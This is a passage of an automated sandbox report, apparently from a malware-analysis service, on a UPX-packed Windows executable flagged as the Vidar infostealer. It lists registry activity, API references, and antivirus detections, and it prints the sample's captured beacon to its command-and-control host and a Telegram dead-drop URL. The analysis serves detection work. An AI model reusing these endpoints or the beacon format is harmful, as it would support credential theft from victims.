Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\CRYPTOGRAPHY\OID\ENCODINGTYPE 0\CRYPTDLLFINDOIDINFO\1.3.6.1.4.1.311.10.3.42!7"; Key: "NAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKCU\LOCAL SETTINGS\MUICACHE\2FD\52C64B7E"; Key: "@%SYSTEMROOT%\SYSTEM32\CI.DLL,-101"; Value: "")2e:T459,"file.exe" trying to access non-existent file "C:\FLTLIB.DLL" "file.exe" trying to access non-existent file "C:\MSVCP140.DLL" "file.exe" trying to access non-existent file "C:\MSVCP140.dll" "file.exe" trying to access non-existent file "C:\VCRUNTIME140.DLL" "file.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "file.exe" trying to access non-existent file "C:\VCRUNTIME140_1.DLL" "file.exe" trying to access non-existent file "C:\VCRUNTIME140_1.dll" "file.exe" trying to access non-existent file "C:\BCRYPT.DLL" "file.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "file.exe" trying to access non-existent file "C:\WINHTTP.DLL" "file.exe" trying to access non-existent file "C:\WEBIO.DLL" "file.exe" trying to access non-existent file "C:\IPHLPAPI.DLL" "file.exe" trying to access non-existent file "C:\WINNLSRES.DLL" "file.exe" trying to access non-existent file "C:\SSPICLI.DLL" "file.exe" trying to access non-existent file "C:\CRYPTBASE.DLL" "file.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "file.exe" trying to access non-existent file "C:\DPAPI.DLL"2f:T457,Found reference to API "WinHttpOpen" (Indicator: "WinHttpOpen"; Source: "00000000-00003700-00000C2C-1766406977") Found reference to API "WinHttpConnect" (Indicator: "WinHttpConnect"; Source: "00000000-00003700-00000C2C-1766407072") Found reference to API "WinHttpOpenRequest" (Indicator: "HttpOpenRequest"; Source: "00000000-00003700-00000C2C-1766407113") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpen"; Source: "00000000-00003700-00000C2C-1766407113") Found reference to API "WinHttpOpenRequest" (Indicator: "WinHttpOpenRequest"; Source: "00000000-00003700-00000C2C-1766407113") Found reference to API "WinHttpSendRequest" (Indicator: "HttpSendRequest"; Source: "00000000-00003700-00000C2C-1766407163") Found reference to API "WinHttpSendRequest" (Indicator: "WinHttpSendRequest"; Source: "00000000-00003700-00000C2C-1766407163") Found reference to API "WinHttpQueryHeaders" (Indicator: "WinHttpQueryHeaders"; Source: "00000000-00003700-00000C2C-1766407305") Found reference to API "WinHttpReadData" (Indicator: "WinHttpReadData"; Source: "00000000-00003700-00000C2C-1766407348")30:T6d4,Found string "POST /cm HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: multipart/form-data; boundary=----0c66491730f40cd2d794Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0Content-Length: 345Host: v75.666iapk.net------0c66491730f40cd2d794Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058-461598A------0c66491730f40cd2d794Content-Disposition: form-data; name="build_id"d852ede598d72f2b3a4050576466ec62------0c66491730f40cd2d794Content-Disposition: form-data; name="format"json------0c66491730f40cd2d794--"; File: "PCAP") Found string "------0c66491730f40cd2d794Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058-461598A------0c66491730f40cd2d794Content-Disposition: form-data; name="build_id"d852ede598d72f2b3a4050576466ec62------0c66491730f40cd2d794"; Source: "00000000-00003700-00000CCC-1768053400") Found string "Content-Disposition: form-data; name="hwid""; Source: "00000000-00003700.00000000.177612.1C160000.00000004.mdmp") Found string "Content-Disposition: form-data; name="build_id""; Source: "00000000-00003700.00000000.177612.1C160000.00000004.mdmp") Found string "Content-Disposition: form-data; name="format""; Source: "00000000-00003700.00000000.177612.1C160000.00000004.mdmp") Found string "Content-Type: multipart/form-data; boundary=----%s"; Source: "00000000-00003700.00000000.177612.1C160000.00000004.mdmp") Found string "Content-Type: multipart/form-data; boundary=----0c66491730f40cd2d794"; Source: "00000000-00003700.00000000.177612.1C160000.00000004.mdmp")31:T1736,Heuristic match: "% .mc" Heuristic match: "i\f7.iq" Heuristic match: "r!.nc" Heuristic match: "get /scii0n http/1.1cache-control: no-cacheconnection: keep-alivepragma: no-cacheaccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8accept-encoding: gzip, deflateaccept-language: en-us,en;q=0.9user-agent: mozilla/5.0 (windows nt 10.0; w" Heuristic match: "v75.666iapk.net" Pattern match: "https://t.me/scii0n" Heuristic match: "md.ee" Pattern match: "http://locme/" Heuristic match: "0000t.me" Heuristic match: "*.t.me" Pattern match: "https://t.me/" Heuristic match: "75.666iapk.net" Heuristic match: ".666iapk.net" Heuristic match: "ntrust.net" Pattern match: "v75.666iapk.net/cm" Heuristic match: "666iapk.net" Heuristic match: "apk.net" Pattern match: "https://v75.666iapk.net/cm" Heuristic match: "*.666iapk.net" Pattern match: "ye1.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Pattern match: "https://a.nel.cloudflare.com/report/v4?s=orhlzevav9n1lllogtgclprl1lyp1v24i9zkw2vy8ib0p3q7b5yzdqzpdgkl3cy00w%2b1kmnhpk0apdt1uabfe3b6ccz1rtojzmlk%2bx7upw0hsgk56y2vjh620drl93rbpko%3d" Pattern match: "crl.godaddy.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Heuristic match: "lsign.co" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "www.digicert.com1$0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "0www.entrust.net/cps" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "https://%s" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://www.microsoft.com0" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0" Heuristic match: ".xboxlive.com" Heuristic match: "host: v75.666iapk.net" Pattern match: "https://web.telegrj" Pattern match: "https://web.telegram.org" Pattern match: "telegram.org/js/tgwallpaper.min.js?3" Pattern match: "telegram.org/img/website_icon.svg?4" Pattern match: "telegram.org/img/apple-touch-icon.png" Pattern match: "telegram.org/img/favicon-32x32.png" Pattern match: "telegram.org/img/favicon-16x16.png" Pattern match: "telegram.org/img/favicon.ico" Pattern match: "telegram.org/css/font-roboto.css?1" Pattern match: "telegram.org/css/bootstrap.min.css?3" Pattern match: "telegram.org/css/telegram.css?255" Pattern match: "http://www.w3.org/2000/svg"32:T8dc,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "AUTODIALDLL"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "")33:T57e,"POST /cm HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----0c66491730f40cd2d794 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/150.0.0.0 YaBrowser/26.8.0.0 Content-Length: 345 Host: v75.666iapk.net" with payload::==> "------0c66491730f40cd2d794Content-Disposition: form-data; name="hwid"23EBD35BE7F8D3C20DA4-d27478a5-2058-461598A------0c66491730f40cd2d794Content-Disposition: form-data; name="build_id"d852ede598d72f2b3a4050576466ec62------0c66491730f40cd2d794Content-Disposition: form-data; name="format"json------0c66491730f40cd2d794--" HTTP/1.1 200 OK Date: Mon 12 Oct 2026 23:24:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} Server: cloudflare vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=OrhLzevav9N1lllOGTGCLpRL1LYP1v24i9zKw2vY8IB0p3Q7B5yzDqzpdGKL3cY00w%2B1KMnHPK0ApdT1UAbfe3B6ccz1RtOJZMlk%2Bx7upw0Hsgk56Y2vJH620drl93Rbpko%3D"}]} Content-Encoding: gzip CF-RAY: a499db418b380869-BOS alt-svc: h3=":443"; ma=86400 with response body ==>626C6F636B.......34:T517,".skype.com1&0" (Indicator: "skype.com") "community-stage.skype.com1" (Indicator: "skype.com") "Content-Security-Policy: frame-ancestors https://web.telegram.org" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org") "" (Indicator: "telegram.org")35:Tacb,"file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "file.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "file.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791847514622,"unified_at":"2026-10-12T23:25:14.622Z","metadata":{"hashes":{"sha256":"08d03a5ca6fdddddfc982bb4ecbf0d977eb8f50e7e19342b0cf3c41ef0069a3e","sha1":"2bb53aeceb587efb6879fb0a251c5d5a77bb02eb","md5":"0d33b679b439e578af4d2f36fa51ded3","sha512":"0ff604bfc395edabe00c3f9451ffef4c8e78bd475451644f0aef9124ad3e80f00f4e8f54913d0c5ccf3c31e0dad7297317fe5bb68ca4f64d89cee41085109434","ssdeep":"6144:bJgEVaI0YTKHJYePKtRux2WIYac3YJlvIKVCy9XSP6SUxYVGzPEtltafH9h:bm/IWmeCtRK13eleyYiSUxYY7Ert","ssdeep_chunks":["6144:bJgEVaI","6144:JgEVaI0","6144:gEVaI0Y","6144:EVaI0YT","6144:VaI0YTK","6144:aI0YTKH","6144:I0YTKHJ","6144:0YTKHJY","6144:YTKHJYe","6144:TKHJYeP","6144:KHJYePK","6144:HJYePKt","6144:JYePKtR","6144:YePKtRu","6144:ePKtRux","6144:PKtRux2","6144:KtRux2W","6144:tRux2WI","6144:Rux2WIY","6144:ux2WIYa","6144:x2WIYac","6144:2WIYac3","6144:WIYac3Y","6144:IYac3YJ","6144:Yac3YJl","6144:ac3YJlv","6144:c3YJlvI","6144:3YJlvIK","6144:YJlvIKV","6144:JlvIKVC","6144:lvIKVCy","6144:vIKVCy9","6144:IKVCy9X","6144:KVCy9XS","6144:VCy9XSP","6144:Cy9XSP6","6144:y9XSP6S","6144:9XSP6SU","6144:XSP6SUx","6144:SP6SUxY","6144:P6SUxYV","6144:6SUxYVG","6144:SUxYVGz","6144:UxYVGzP","6144:xYVGzPE","6144:YVGzPEt","6144:VGzPEtl","6144:GzPEtlt","6144:zPEtlta","6144:PEtltaf","6144:EtltafH","6144:tltafH9","6144:ltafH9h","12288:bJgEVaI","12288:JgEVaI0","12288:gEVaI0Y","12288:EVaI0YT","12288:VaI0YTK","12288:aI0YTKH","12288:I0YTKHJ","12288:0YTKHJY","12288:YTKHJYe","12288:TKHJYeP","12288:KHJYePK","12288:HJYePKt","12288:JYePKtR","12288:YePKtRu","12288:ePKtRux","12288:PKtRux2","12288:KtRux2W","12288:tRux2WI","12288:Rux2WIY","12288:ux2WIYa","12288:x2WIYac","12288:2WIYac3","12288:WIYac3Y","12288:IYac3YJ","12288:Yac3YJl","12288:ac3YJlv","12288:c3YJlvI","12288:3YJlvIK","12288:YJlvIKV","12288:JlvIKVC","12288:lvIKVCy","12288:vIKVCy9","12288:IKVCy9X","12288:KVCy9XS","12288:VCy9XSP","12288:Cy9XSP6","12288:y9XSP6S","12288:9XSP6SU","12288:XSP6SUx","12288:SP6SUxY","12288:P6SUxYV","12288:6SUxYVG","12288:SUxYVGz","12288:UxYVGzP","12288:xYVGzPE","12288:YVGzPEt","12288:VGzPEtl","12288:GzPEtlt","12288:zPEtlta","12288:PEtltaf","12288:EtltafH","12288:tltafH9","12288:ltafH9h","6144:bm/IWme","6144:m/IWmeC","6144:/IWmeCt","6144:IWmeCtR","6144:WmeCtRK","6144:meCtRK1","6144:eCtRK13","6144:CtRK13e","6144:tRK13el","6144:RK13ele","6144:K13eley","6144:13eleyY","6144:3eleyYi","6144:eleyYiS","6144:leyYiSU","6144:eyYiSUx","6144:yYiSUxY","6144:YiSUxYY","6144:iSUxYY7","6144:SUxYY7E","6144:UxYY7Er","6144:xYY7Ert"],"imphash":"6ed4f5f04d62b18d96b26d6db7c18840","pehash":"e6ec98fb89a1ba2d49f85088c30ceba0a7c612dd"},"file_info":{"file_name":"file.exe","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":370176,"entropy":7.84,"compile_timestamp":"2026-08-12T06:15:30","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1791828931000,"last_seen":1791847426000,"last_multi_scan":1791847426000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":3,"import_count":0,"export_count":0,"sections":[{"name":"UPX0","virtual_address":"0x1000","virtual_size":2355200},{"name":"UPX1","virtual_address":"0x240000","virtual_size":368640,"raw_size":368640},{"name":"UPX2","virtual_address":"0x29a000","virtual_size":4096,"raw_size":512}],"section_names":["UPX0","UPX1","UPX2"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["suspicious"]},"stats":{"av":{"malicious_count":11,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":2,"threat_actors_count":2,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":42},"sandbox_signatures":{"informative_count":83,"suspicious_count":13,"malicious_count":2,"total":98},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/Win64.Vidar","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_100.0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Doina.131706","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Vidar_YBH_MTB","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Doina.131706 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win64/Vidar_AGen.R trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"malicious","threat_name":"Trojan.Win64.Kryptik.sa","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABTrojan.AGPJ-4260","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT 